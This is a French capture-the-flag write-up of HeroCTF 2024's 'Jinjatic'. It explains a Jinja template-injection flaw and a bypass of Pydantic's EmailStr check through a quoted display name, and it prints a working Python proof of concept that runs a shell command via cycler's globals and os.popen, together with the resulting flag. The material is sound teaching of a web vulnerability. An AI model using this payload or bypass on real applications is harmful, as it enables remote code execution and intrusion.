Aller au contenu
  1. Writeups/

HeroCTF 2024: Jinjatic

666 mots·4 mins·
Fayred
Auteur
Fayred
Passionné par l’informatique en général et plus particulièrement par la sécurité informatique. Amateur de CTFs et débutant en Bug Bounty, je cherche avant tout à apprendre, m’amuser et partager ce que j’ai appris.
Sommaire

Énoncé
#

A platform that allows users to render welcome email’s template for a given customer, sounds great no ?

Deploy on deploy.heroctf.fr

Format: Hero{flag}

Author: Worty

Aperçu
#

Le challenge fournit l’arborescence suivante:

.
├── challenge.yml
├── dist
│   └── jinjatic.tar.xz
├── docker-compose.yml
├── Makefile
├── README.md
└── src
    ├── challenge
    │   ├── app.py
    │   ├── requirements.txt
    │   └── templates
    │       ├── home.html
    │       ├── mail.html
    │       └── result.html
    ├── Dockerfile
    ├── flag.txt
    └── getflag.c

5 directories, 13 files

Le site est minimal: le formulaire de /mail reçoit une adresse e-mail, puis /render génère un message de bienvenue qui la reprend. Le backend impose toutefois le type EmailStr de Pydantic avant d’afficher le résultat.

Résolution
#

Du reflet à la SSTI
#

Constat. L’adresse saisie réapparaît dans la réponse. Le code de l’application montre surtout qu’elle est interpolée dans une chaîne avant que celle-ci ne soit transmise à Template(...).render():

Afficher le code source
email_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform!</h1>
            <p>Your email to connect is: <strong>%s</strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

...

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template % (email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

Ce rendu fait de l’entrée utilisateur du code de template: il s’agit d’une SSTI Jinja. Le test arithmétique suivant le confirme:

test+{{7*7}}@heroctf.fr

La réponse contient alors [email protected]. Cette première preuve ne suffit cependant pas à exécuter une commande: les payloads Jinja utiles pour cela emploient notamment des parenthèses, et la chaîne doit toujours franchir EmailModel(email=email).

La contrainte de EmailModel
#

EmailModel délègue le contrôle du champ à EmailStr. En suivant cette validation jusqu’à validate_email(), on trouve le traitement des adresses accompagnées d’un nom d’affichage:

m = pretty_email_regex.fullmatch(value) # value = email
name: str | None = None
if m:
    unquoted_name, quoted_name, value = m.groups()
    name = unquoted_name or quoted_name

    email = value.strip()

try:
    parts = email_validator.validate_email(email, check_deliverability=False)
except email_validator.EmailNotValidError as e:
    raise PydanticCustomError(
        'value_error', 'value is not a valid email address: {reason}', {'reason': str(e.args[0])}
    ) from e

Si la chaîne correspond à ce format, Pydantic sépare le nom de l’adresse et ne transmet que la partie email à email_validator. La construction de pretty_email_regex précise les formes acceptées:

def _build_pretty_email_regex() -> re.Pattern[str]:
    name_chars = r'[\w!#$%&\'*+\-/=?^_`{|}~]'
    unquoted_name_group = rf'((?:{name_chars}+\s+)*{name_chars}+)'
    quoted_name_group = r'"((?:[^"]|\")+)"'
    email_group = r'<\s*(.+)\s*>'
    return re.compile(rf'\s*(?:{unquoted_name_group}|{quoted_name_group})?\s*{email_group}\s*')


pretty_email_regex = _build_pretty_email_regex()

Le groupe quoted_name_group accepte les caractères nécessaires à la payload, notamment les parenthèses et les apostrophes. Il doit être suivi de email_group, qui contient une véritable adresse entre chevrons. On peut donc placer l’expression Jinja dans un nom d’affichage entre guillemets tout en laissant Pydantic valider une adresse anodine:

La validation interne porte sur l’adresse extraite. L’application ignore toutefois l’objet email_obj ainsi produit et interpole ensuite la valeur originale de request.form dans email_template. L’expression Jinja reste donc présente au moment du rendu: c’est le bypass.

Exploitation et résultat
#

Cette technique, documentée dans la référence HackTricks sur les SSTI Jinja2, s’appuie sur les globales de cycler pour atteindre os.popen(). La payload exécute ensuite ../getflag, un chemin cohérent avec l’application lancée depuis /app et le binaire installé à la racine. Le PoC final est:

import requests
url = 'http://dyn03.heroctf.fr:14993/render'
payload = """{{cycler.__init__.__globals__.os.popen('../getflag').read()}}"""
r = requests.post(url, data={'email': f'"({payload})" <[email protected]>'})
print(r.text)

La réponse rendue contient le résultat de la commande:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform!</h1>
            <p>Your email to connect is: <strong>"HERO{f815460cee723a7d1ba1f0a70f68482c}" <[email protected]></strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Flag: HERO{f815460cee723a7d1ba1f0a70f68482c}

Le point clé est ainsi le décalage entre la valeur que EmailStr extrait pour la valider et la chaîne originale que l’application confie ensuite à Jinja.

Référence
#

Articles connexes